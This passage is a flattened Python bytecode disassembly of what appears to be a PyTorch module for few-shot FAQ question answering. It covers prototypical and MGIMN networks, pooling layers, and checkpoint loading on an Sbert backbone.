RAISE_VARARGS LOAD_FAST supervised_dists RETURN_VALUE LOAD_FAST x LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_query LOAD_FAST y LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_cls LOAD_FAST x LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR STORE_FAST dim LOAD_FAST x LOAD_METHOD unsqueeze LOAD_CONST 1 CALL_METHOD LOAD_METHOD expand LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST dim BUILD_LIST CALL_METHOD STORE_FAST x LOAD_FAST y LOAD_METHOD unsqueeze LOAD_CONST 0 CALL_METHOD LOAD_METHOD expand LOAD_FAST n_query LOAD_FAST n_cls LOAD_FAST dim BUILD_LIST CALL_METHOD STORE_FAST y LOAD_GLOBAL F LOAD_METHOD cosine_similarity LOAD_FAST x LOAD_FAST y LOAD_CONST -1 CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AveragePooling' STORE_NAME __qualname__ LOAD_CONST (1,) LOAD_CONST <code object forward at 0x7fab41faedb0, file "f.py", line 108> LOAD_CONST 'AveragePooling.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR sum LOAD_FAST x LOAD_FAST mask LOAD_METHOD float CALL_METHOD BINARY_MULTIPLY LOAD_FAST dim LOAD_CONST ('dim',) CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR sum LOAD_FAST mask LOAD_METHOD float CALL_METHOD LOAD_FAST dim LOAD_CONST ('dim',) CALL_FUNCTION BINARY_TRUE_DIVIDE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AttnPooling' STORE_NAME __qualname__ LOAD_CONST (None, None) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41fae420, file "f.py", line 113> LOAD_CONST 'AttnPooling.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab41faec90, file "f.py", line 124> LOAD_CONST 'AttnPooling.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL LinearProjection LOAD_FAST input_size LOAD_FAST hidden_size CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD Tanh CALL_METHOD LOAD_GLOBAL LinearProjection LOAD_FAST hidden_size LOAD_CONST 1 LOAD_CONST False LOAD_CONST ('bias',) CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR input_proj LOAD_FAST output_size POP_JUMP_IF_FALSE LOAD_GLOBAL LinearProjection LOAD_FAST input_size LOAD_FAST output_size CALL_FUNCTION JUMP_FORWARD to 66 LOAD_CONST <code object <lambda> at 0x7fab41fae540, file "f.py", line 121> LOAD_CONST 'AttnPooling.__init__.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST self STORE_ATTR output_proj LOAD_CONST None RETURN_VALUE LOAD_FAST x RETURN_VALUE LOAD_FAST self LOAD_METHOD input_proj LOAD_FAST x CALL_METHOD STORE_FAST score LOAD_FAST score LOAD_FAST mask LOAD_METHOD float CALL_METHOD BINARY_MULTIPLY LOAD_CONST -10000.0 LOAD_CONST 1.0 LOAD_FAST mask LOAD_METHOD float CALL_METHOD BINARY_SUBTRACT BINARY_MULTIPLY BINARY_ADD STORE_FAST score LOAD_GLOBAL F LOAD_ATTR softmax LOAD_FAST score LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST score LOAD_FAST self LOAD_METHOD output_proj LOAD_FAST x CALL_METHOD STORE_FAST features LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST score LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_FAST features CALL_METHOD LOAD_METHOD squeeze LOAD_CONST 1 CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PoolingLayer' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41faeb70, file "f.py", line 133> LOAD_CONST 'PoolingLayer.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7fab41faea50, file "f.py", line 144> LOAD_CONST 'PoolingLayer.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL PoolingLayer LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST args LOAD_ATTR pooling LOAD_CONST 'attn' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL AttnPooling LOAD_FAST args LOAD_ATTR proj_hidden_size LOAD_FAST args LOAD_ATTR proj_hidden_size LOAD_FAST args LOAD_ATTR proj_hidden_size CALL_FUNCTION LOAD_FAST self STORE_ATTR pooling JUMP_FORWARD to 76 LOAD_FAST args LOAD_ATTR pooling LOAD_CONST 'avg' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL AveragePooling CALL_FUNCTION LOAD_FAST self STORE_ATTR pooling JUMP_FORWARD to 76 LOAD_GLOBAL NotImplementedError LOAD_FAST args LOAD_ATTR pooling CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD pooling LOAD_FAST x LOAD_FAST mask CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Alignment' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fae2f3ebae0, file "f.py", line 149> LOAD_CONST 'Alignment.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _attention at 0x7fae2f3eb4b0, file "f.py", line 152> LOAD_CONST 'Alignment._attention' MAKE_FUNCTION STORE_NAME _attention LOAD_CONST <code object forward at 0x7fae2f3eb270, file "f.py", line 155> LOAD_CONST 'Alignment.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST a LOAD_FAST b LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD _attention LOAD_FAST a LOAD_FAST b CALL_METHOD STORE_FAST attn LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST mask_a LOAD_METHOD float CALL_METHOD LOAD_FAST mask_b LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 2 CALL_METHOD LOAD_METHOD float CALL_METHOD CALL_METHOD STORE_FAST mask LOAD_FAST mask LOAD_METHOD bool CALL_METHOD STORE_FAST mask LOAD_FAST attn LOAD_METHOD masked_fill_ LOAD_FAST mask UNARY_INVERT LOAD_CONST -10000.0 CALL_METHOD POP_TOP LOAD_FAST attn RETURN_VALUE LOAD_FAST model_config LOAD_METHOD get LOAD_CONST 'metric' LOAD_CONST 'cosine' CALL_METHOD STORE_FAST metric LOAD_FAST model_config LOAD_METHOD get LOAD_CONST 'pooling' LOAD_CONST 'avg' CALL_METHOD STORE_FAST pooling_method LOAD_GLOBAL namedtuple LOAD_CONST 'args' LOAD_CONST 'metrics' LOAD_CONST 'proj_hidden_size' LOAD_CONST 'hidden_size' LOAD_CONST 'dropout' LOAD_CONST 'pooling' BUILD_LIST CALL_FUNCTION STORE_FAST Arg LOAD_FAST Arg LOAD_FAST metric LOAD_FAST hidden_size LOAD_FAST hidden_size LOAD_CONST 0.0 LOAD_FAST pooling_method LOAD_CONST ('metrics', 'proj_hidden_size', 'hidden_size', 'dropout', 'pooling') CALL_FUNCTION STORE_FAST args LOAD_FAST args RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SbertForFaqQuestionAnswering' STORE_NAME __qualname__ LOAD_CONST '' STORE_NAME _backbone_prefix LOAD_CONST 'protonet' STORE_NAME PROTO_NET LOAD_CONST 'mgimnnet' STORE_NAME MGIMN_NET LOAD_NAME classmethod LOAD_CONST <code object _instantiate at 0x7fae2f3eb0c0, file "f.py", line 185> LOAD_CONST 'SbertForFaqQuestionAnswering._instantiate' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _instantiate LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fae2f3eb390, file "f.py", line 192> LOAD_CONST 'SbertForFaqQuestionAnswering.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME Dict LOAD_NAME str LOAD_NAME Tensor BUILD_TUPLE BINARY_SUBSCR LOAD_NAME FaqQuestionAnsweringOutput LOAD_CONST ('input', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object forward at 0x7fae2f3eb420, file "f.py", line 210> LOAD_CONST 'SbertForFaqQuestionAnswering.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST <code object _compute_loss at 0x7fae2f3eb540, file "f.py", line 279> LOAD_CONST 'SbertForFaqQuestionAnswering._compute_loss' MAKE_FUNCTION STORE_NAME _compute_loss LOAD_CONST <code object forward_sentence_embedding at 0x7fae2f3eb6f0, file "f.py", line 284> LOAD_CONST 'SbertForFaqQuestionAnswering.forward_sentence_embedding' MAKE_FUNCTION STORE_NAME forward_sentence_embedding LOAD_CONST (None, None) LOAD_CONST <code object load_checkpoint at 0x7fae2f3eb660, file "f.py", line 287> LOAD_CONST 'SbertForFaqQuestionAnswering.load_checkpoint' MAKE_FUNCTION STORE_NAME load_checkpoint LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'model_dir' CALL_METHOD STORE_FAST model_dir LOAD_FAST cls LOAD_FAST model_dir BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST model LOAD_FAST model LOAD_METHOD load_checkpoint LOAD_FAST model_dir CALL_METHOD POP_TOP LOAD_FAST model RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST model_dir BUILD_TUPLE LOAD_FAST args BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_GLOBAL SbertConfig LOAD_METHOD from_pretrained LOAD_FAST model_dir CALL_METHOD STORE_FAST backbone_cfg LOAD_GLOBAL Config LOAD_METHOD from_file LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST model_dir LOAD_GLOBAL ModelFile LOAD_ATTR CONFIGURATION CALL_METHOD CALL_METHOD LOAD_METHOD get LOAD_GLOBAL ConfigFields LOAD_ATTR model BUILD_MAP CALL_METHOD STORE_FAST model_config LOAD_FAST model_config LOAD_METHOD update LOAD_FAST kwargs CALL_METHOD POP_TOP LOAD_FAST model_config LOAD_METHOD get LOAD_CONST 'network' LOAD_FAST self LOAD_ATTR PROTO_NET CALL_METHOD STORE_FAST network_name LOAD_FAST network_name LOAD_FAST self LOAD_ATTR PROTO_NET COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL ProtoNet LOAD_FAST backbone_cfg LOAD_FAST model_config CALL_FUNCTION STORE_FAST network JUMP_FORWARD to 138 LOAD_FAST network_name LOAD_FAST self LOAD_ATTR MGIMN_NET COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL MGIMNNet LOAD_FAST backbone_cfg LOAD_FAST model_config CALL_FUNCTION STORE_FAST network JUMP_FORWARD to 138 LOAD_GLOBAL NotImplementedError LOAD_FAST network_name CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'faq task build ' LOAD_FAST network_name FORMAT_VALUE LOAD_CONST ' network' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST network LOAD_FAST self STORE_ATTR network LOAD_CONST None RETURN_VALUE LOAD_FAST input LOAD_CONST 'query' BINARY_SUBSCR STORE_FAST query LOAD_FAST input LOAD_CONST 'support' BINARY_SUBSCR STORE_FAST support LOAD_FAST input LOAD_CONST 'query_attention_mask' BINARY_SUBSCR STORE_FAST query_mask LOAD_FAST input LOAD_CONST 'support_attention_mask' BINARY_SUBSCR STORE_FAST support_mask LOAD_FAST input LOAD_CONST 'support_labels' BINARY_SUBSCR STORE_FAST support_labels LOAD_FAST self LOAD_METHOD network LOAD_FAST query LOAD_FAST support LOAD_FAST query_mask LOAD_FAST support_mask LOAD_FAST support_labels CALL_METHOD UNPACK_SEQUENCE STORE_FAST logits STORE_FAST scores LOAD_CONST 'labels' LOAD_FAST input COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST input LOAD_CONST 'labels' BINARY_SUBSCR STORE_FAST query_labels LOAD_GLOBAL torch LOAD_METHOD max LOAD_FAST support_labels CALL_METHOD LOAD_CONST 1 BINARY_ADD STORE_FAST num_cls LOAD_FAST self LOAD_METHOD _compute_loss LOAD_FAST logits LOAD_FAST query_labels LOAD_FAST num_cls CALL_METHOD STORE_FAST loss LOAD_GLOBAL torch LOAD_ATTR argmax LOAD_FAST scores LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST pred_labels LOAD_GLOBAL FaqQuestionAnsweringOutput LOAD_FAST loss LOAD_FAST scores LOAD_FAST pred_labels LOAD_CONST ('loss', 'logits', 'labels') CALL_FUNCTION LOAD_METHOD to_dict CALL_METHOD RETURN_VALUE LOAD_GLOBAL FaqQuestionAnsweringOutput LOAD_FAST scores LOAD_CONST ('scores',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_onehot_labels LOAD_FAST target LOAD_FAST num_cls CALL_FUNCTION STORE_FAST onehot_labels LOAD_GLOBAL BCEWithLogitsLoss LOAD_CONST 'mean' LOAD_CONST ('reduction',) CALL_FUNCTION LOAD_FAST logits LOAD_FAST onehot_labels CALL_FUNCTION STORE_FAST loss LOAD_FAST loss RETURN_VALUE LOAD_FAST self LOAD_ATTR network LOAD_METHOD sentence_embedding LOAD_FAST inputs CALL_METHOD RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST model_local_dir LOAD_CONST 'pytorch_model.bin' CALL_METHOD STORE_FAST ckpt_file LOAD_GLOBAL torch LOAD_ATTR load LOAD_FAST ckpt_file LOAD_CONST 'cpu' LOAD_CONST ('map_location',) CALL_FUNCTION STORE_FAST state_dict BUILD_MAP STORE_FAST new_state_dict SETUP_LOOP to 90 LOAD_FAST state_dict LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 88 UNPACK_SEQUENCE STORE_FAST var_name STORE_FAST var_value LOAD_FAST var_name STORE_FAST new_var_name LOAD_GLOBAL str LOAD_FAST var_name CALL_FUNCTION LOAD_METHOD startswith LOAD_CONST 'network' CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST 'network.' LOAD_FAST var_name FORMAT_VALUE BUILD_STRING STORE_FAST new_var_name LOAD_FAST var_value LOAD_FAST new_state_dict LOAD_FAST new_var_name STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST default_dtype LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL torch LOAD_METHOD set_default_dtype LOAD_FAST default_dtype CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _load_checkpoint LOAD_FAST new_state_dict LOAD_FAST load_state_fn LOAD_CONST True LOAD_CONST True LOAD_CONST ('load_state_fn', 'ignore_mismatched_sizes', '_fast_init') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST missing_keys STORE_FAST unexpected_keys STORE_FAST mismatched_keys STORE_FAST error_msgs LOAD_FAST missing_keys LOAD_FAST unexpected_keys LOAD_FAST mismatched_keys LOAD_FAST error_msgs LOAD_CONST ('missing_keys', 'unexpected_keys', 'mismatched_keys', 'error_msgs') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_FAST target LOAD_METHOD view LOAD_CONST -1 LOAD_CONST 1 CALL_METHOD STORE_FAST target LOAD_FAST target LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST size LOAD_GLOBAL torch LOAD_METHOD zeros LOAD_FAST size LOAD_FAST num_cls CALL_METHOD LOAD_METHOD to LOAD_FAST target CALL_METHOD STORE_FAST target_oh LOAD_FAST target_oh LOAD_ATTR scatter_ LOAD_CONST 1 LOAD_FAST target LOAD_CONST 1 LOAD_CONST ('dim', 'index', 'value') CALL_FUNCTION POP_TOP LOAD_FAST target_oh LOAD_METHOD view LOAD_FAST size LOAD_FAST num_cls CALL_METHOD LOAD_METHOD float CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProtoNet' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41c26390, file "f.py", line 330> LOAD_CONST 'ProtoNet.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __call__ at 0x7fab41c26b70, file "f.py", line 337> LOAD_CONST 'ProtoNet.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_NAME Dict LOAD_NAME str LOAD_NAME Tensor BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('inputs',) BUILD_CONST_KEY_MAP LOAD_CONST <code object sentence_embedding at 0x7fab41c26f60, file "f.py", line 361> LOAD_CONST 'ProtoNet.sentence_embedding' MAKE_FUNCTION STORE_NAME sentence_embedding LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL ProtoNet LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL SbertModel LOAD_FAST backbone_config CALL_FUNCTION LOAD_FAST self STORE_ATTR bert LOAD_GLOBAL _create_args LOAD_FAST model_config LOAD_FAST self LOAD_ATTR bert LOAD_ATTR config LOAD_ATTR hidden_size CALL_FUNCTION STORE_FAST args LOAD_GLOBAL MetricsLayer LOAD_FAST args CALL_FUNCTION LOAD_FAST self STORE_ATTR metrics_layer LOAD_GLOBAL PoolingLayer LOAD_FAST args CALL_FUNCTION LOAD_FAST self STORE_ATTR pooling LOAD_CONST None RETURN_VALUE LOAD_FAST query LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_query LOAD_GLOBAL torch LOAD_METHOD max LOAD_FAST support_labels CALL_METHOD LOAD_CONST 1 BINARY_ADD STORE_FAST num_cls LOAD_GLOBAL get_onehot_labels LOAD_FAST support_labels LOAD_FAST num_cls CALL_FUNCTION STORE_FAST onehot_labels LOAD_GLOBAL torch LOAD_METHOD cat LOAD_FAST query LOAD_FAST support BUILD_LIST CALL_METHOD STORE_FAST input_ids LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST query_mask LOAD_FAST support_mask BUILD_LIST LOAD_CONST 0 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST input_mask LOAD_FAST self LOAD_METHOD sentence_embedding LOAD_FAST input_ids LOAD_FAST input_mask LOAD_CONST ('input_ids', 'attention_mask') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST pooled_representation LOAD_FAST pooled_representation LOAD_CONST None LOAD_FAST n_query BUILD_SLICE BINARY_SUBSCR STORE_FAST z_query LOAD_FAST pooled_representation LOAD_FAST n_query LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST z_support LOAD_GLOBAL torch LOAD_ATTR sum LOAD_FAST onehot_labels LOAD_CONST -2 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_CONST 1e-05 BINARY_ADD STORE_FAST cls_n_support LOAD_GLOBAL torch LOAD_METHOD matmul LOAD_FAST onehot_labels LOAD_METHOD transpose LOAD_CONST 0 LOAD_CONST 1 CALL_METHOD LOAD_FAST z_support CALL_METHOD LOAD_FAST cls_n_support LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD BINARY_TRUE_DIVIDE STORE_FAST protos LOAD_FAST self LOAD_METHOD metrics_layer LOAD_FAST z_query LOAD_FAST protos CALL_METHOD LOAD_METHOD view LOAD_FAST n_query LOAD_FAST num_cls BUILD_LIST CALL_METHOD STORE_FAST logits LOAD_FAST self LOAD_ATTR metrics_layer LOAD_ATTR name LOAD_CONST 'relation' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL torch LOAD_METHOD sigmoid LOAD_FAST logits CALL_METHOD STORE_FAST scores JUMP_FORWARD to 204 LOAD_FAST logits STORE_FAST scores LOAD_FAST logits LOAD_FAST scores BUILD_TUPLE RETURN_VALUE LOAD_FAST inputs LOAD_CONST 'input_ids' BINARY_SUBSCR STORE_FAST input_ids LOAD_FAST inputs LOAD_CONST 'attention_mask' BINARY_SUBSCR STORE_FAST input_mask LOAD_GLOBAL isinstance LOAD_FAST input_ids LOAD_GLOBAL Tensor CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL torch LOAD_METHOD IntTensor LOAD_FAST input_ids CALL_METHOD STORE_FAST input_ids LOAD_GLOBAL isinstance LOAD_FAST input_mask LOAD_GLOBAL Tensor CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL torch LOAD_METHOD IntTensor LOAD_FAST input_mask CALL_METHOD STORE_FAST input_mask LOAD_FAST input_ids LOAD_METHOD to LOAD_FAST self LOAD_ATTR bert LOAD_ATTR device CALL_METHOD STORE_FAST input_ids LOAD_FAST input_mask LOAD_METHOD to LOAD_FAST self LOAD_ATTR bert LOAD_ATTR device CALL_METHOD STORE_FAST input_mask LOAD_FAST self LOAD_METHOD bert LOAD_FAST input_ids LOAD_FAST input_mask CALL_METHOD STORE_FAST rst LOAD_FAST rst LOAD_ATTR last_hidden_state STORE_FAST last_hidden_states LOAD_GLOBAL len LOAD_FAST input_mask LOAD_ATTR shape CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST input_mask LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD STORE_FAST input_mask LOAD_FAST self LOAD_METHOD pooling LOAD_FAST last_hidden_states LOAD_FAST input_mask CALL_METHOD STORE_FAST pooled_representation LOAD_FAST pooled_representation RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MGIMNNet' STORE_NAME __qualname__ LOAD_CONST 'instance_level_interaction' STORE_NAME INSTANCE_LEVEL_INTERACTION LOAD_CONST 'episode_level_interaction' STORE_NAME EPISODE_LEVEL_INTERACTION LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab41c265d0, file "f.py", line 382> LOAD_CONST 'MGIMNNet.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __call__ at 0x7fab41c26c00, file "f.py", line 419> LOAD_CONST 'MGIMNNet.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_CONST <code object _instance_compare at 0x7fab41c26c90, file "f.py", line 466> LOAD_CONST 'MGIMNNet._instance_compare' MAKE_FUNCTION STORE_NAME _instance_compare LOAD_CONST <code object _instance_level_interaction at 0x7fab41c26780, file "f.py", line 482> LOAD_CONST 'MGIMNNet._instance_level_interaction' MAKE_FUNCTION STORE_NAME _instance_level_interaction LOAD_CONST <code object _class_level_interaction at 0x7fab41c26930, file "f.py", line 512> LOAD_CONST 'MGIMNNet._class_level_interaction' MAKE_FUNCTION STORE_NAME _class_level_interaction LOAD_CONST <code object _episode_level_interaction at 0x7fab41c26d20, file "f.py", line 557> LOAD_CONST 'MGIMNNet._episode_level_interaction' MAKE_FUNCTION STORE_NAME _episode_level_interaction LOAD_CONST (None, None, None) LOAD_CONST <code object _fuse_query at 0x7fab41c26a50, file "f.py", line 594> LOAD_CONST 'MGIMNNet._fuse_query' MAKE_FUNCTION STORE_NAME _fuse_query LOAD_CONST (None, None, None) LOAD_CONST <code object _fuse_support at 0x7fab41c26810, file "f.py", line 623> LOAD_CONST 'MGIMNNet._fuse_support' MAKE_FUNCTION STORE_NAME _fuse_support LOAD_CONST <code object context_embedding at 0x7fab423bd150, file "f.py", line 656> LOAD_CONST 'MGIMNNet.context_embedding' MAKE_FUNCTION STORE_NAME context_embedding LOAD_NAME Dict LOAD_NAME str LOAD_NAME Tensor BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('inputs',) BUILD_CONST_KEY_MAP LOAD_CONST <code object sentence_embedding at 0x7fab423bdd20, file "f.py", line 668> LOAD_CONST 'MGIMNNet.sentence_embedding' MAKE_FUNCTION STORE_NAME sentence_embedding LOAD_CONST (None,) LOAD_CONST <code object safe_get at 0x7fab423bd1e0, file "f.py", line 682> LOAD_CONST 'MGIMNNet.safe_get' MAKE_FUNCTION STORE_NAME safe_get LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL MGIMNNet LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL SbertModel LOAD_FAST backbone_config CALL_FUNCTION LOAD_FAST self STORE_ATTR bert LOAD_FAST model_config LOAD_FAST self STORE_ATTR model_config LOAD_GLOBAL Alignment CALL_FUNCTION LOAD_FAST self STORE_ATTR alignment LOAD_FAST self LOAD_ATTR bert LOAD_ATTR config LOAD_ATTR hidden_size STORE_FAST hidden_size LOAD_FAST self LOAD_METHOD safe_get LOAD_FAST self LOAD_ATTR INSTANCE_LEVEL_INTERACTION LOAD_CONST True CALL_METHOD STORE_FAST use_instance_level_interaction LOAD_FAST self LOAD_METHOD safe_get LOAD_FAST self LOAD_ATTR EPISODE_LEVEL_INTERACTION LOAD_CONST True CALL_METHOD STORE_FAST use_episode_level_interaction LOAD_CONST 1 LOAD_GLOBAL int LOAD_FAST use_instance_level_interaction CALL_FUNCTION BINARY_ADD LOAD_GLOBAL int LOAD_FAST use_episode_level_interaction CALL_FUNCTION BINARY_ADD STORE_FAST output_size LOAD_GLOBAL logger LOAD_METHOD info LOAD_CONST 'faq MGIMN model class-level-interaction:true, instance-level-interaction:' LOAD_FAST use_instance_level_interaction FORMAT_VALUE LOAD_CONST ', episode-level-interaction:' LOAD_FAST use_episode_level_interaction FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL LinearProjection LOAD_FAST hidden_size LOAD_FAST hidden_size LOAD_CONST 3 BINARY_MULTIPLY LOAD_FAST output_size BINARY_MULTIPLY BINARY_ADD LOAD_FAST hidden_size LOAD_CONST 'relu' LOAD_CONST ('activation',) CALL_FUNCTION LOAD_FAST self STORE_ATTR fuse_proj LOAD_GLOBAL _create_args LOAD_FAST model_config LOAD_FAST hidden_size CALL_FUNCTION STORE_FAST args LOAD_GLOBAL PoolingLayer LOAD_FAST args CALL_FUNCTION LOAD_FAST self STORE_ATTR pooling LOAD_FAST args LOAD_ATTR _replace LOAD_CONST 'avg' LOAD_CONST ('pooling',) CALL_FUNCTION STORE_FAST new_args LOAD_GLOBAL PoolingLayer LOAD_FAST new_args CALL_FUNCTION LOAD_FAST self STORE_ATTR avg_pooling LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Sequential LOAD_GLOBAL LinearProjection LOAD_FAST hidden_size LOAD_CONST 4 BINARY_MULTIPLY LOAD_FAST hidden_size LOAD_CONST 'relu' LOAD_CONST ('activation',) CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR instance_compare_layer LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Sequential LOAD_GLOBAL LinearProjection LOAD_FAST hidden_size LOAD_CONST 2 BINARY_MULTIPLY LOAD_FAST hidden_size LOAD_CONST 'relu' LOAD_CONST ('activation',) CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD Dropout LOAD_CONST 0 CALL_METHOD LOAD_GLOBAL LinearProjection LOAD_FAST hidden_size LOAD_CONST 1 CALL_FUNCTION CALL_METHOD LOAD_FAST self STORE_ATTR prediction LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD context_embedding LOAD_FAST query LOAD_FAST support LOAD_FAST query_mask LOAD_FAST support_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST z_query STORE_FAST z_support LOAD_GLOBAL int LOAD_GLOBAL torch LOAD_METHOD max LOAD_FAST support_labels CALL_METHOD CALL_FUNCTION LOAD_CONST 1 BINARY_ADD STORE_FAST n_cls LOAD_FAST query LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST n_query STORE_FAST sent_len LOAD_FAST support LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n_support LOAD_FAST n_support LOAD_FAST n_cls BINARY_FLOOR_DIVIDE STORE_FAST k_shot LOAD_FAST n_cls LOAD_FAST k_shot LOAD_CONST ('n_cls', 'k_shot') BUILD_CONST_KEY_MAP LOAD_CONST 'n_query' LOAD_FAST n_query BUILD_MAP ROT_TWO STORE_FAST q_params STORE_FAST s_params LOAD_FAST self LOAD_METHOD safe_get LOAD_FAST self LOAD_ATTR INSTANCE_LEVEL_INTERACTION LOAD_CONST True CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _instance_level_interaction LOAD_FAST z_query LOAD_FAST query_mask 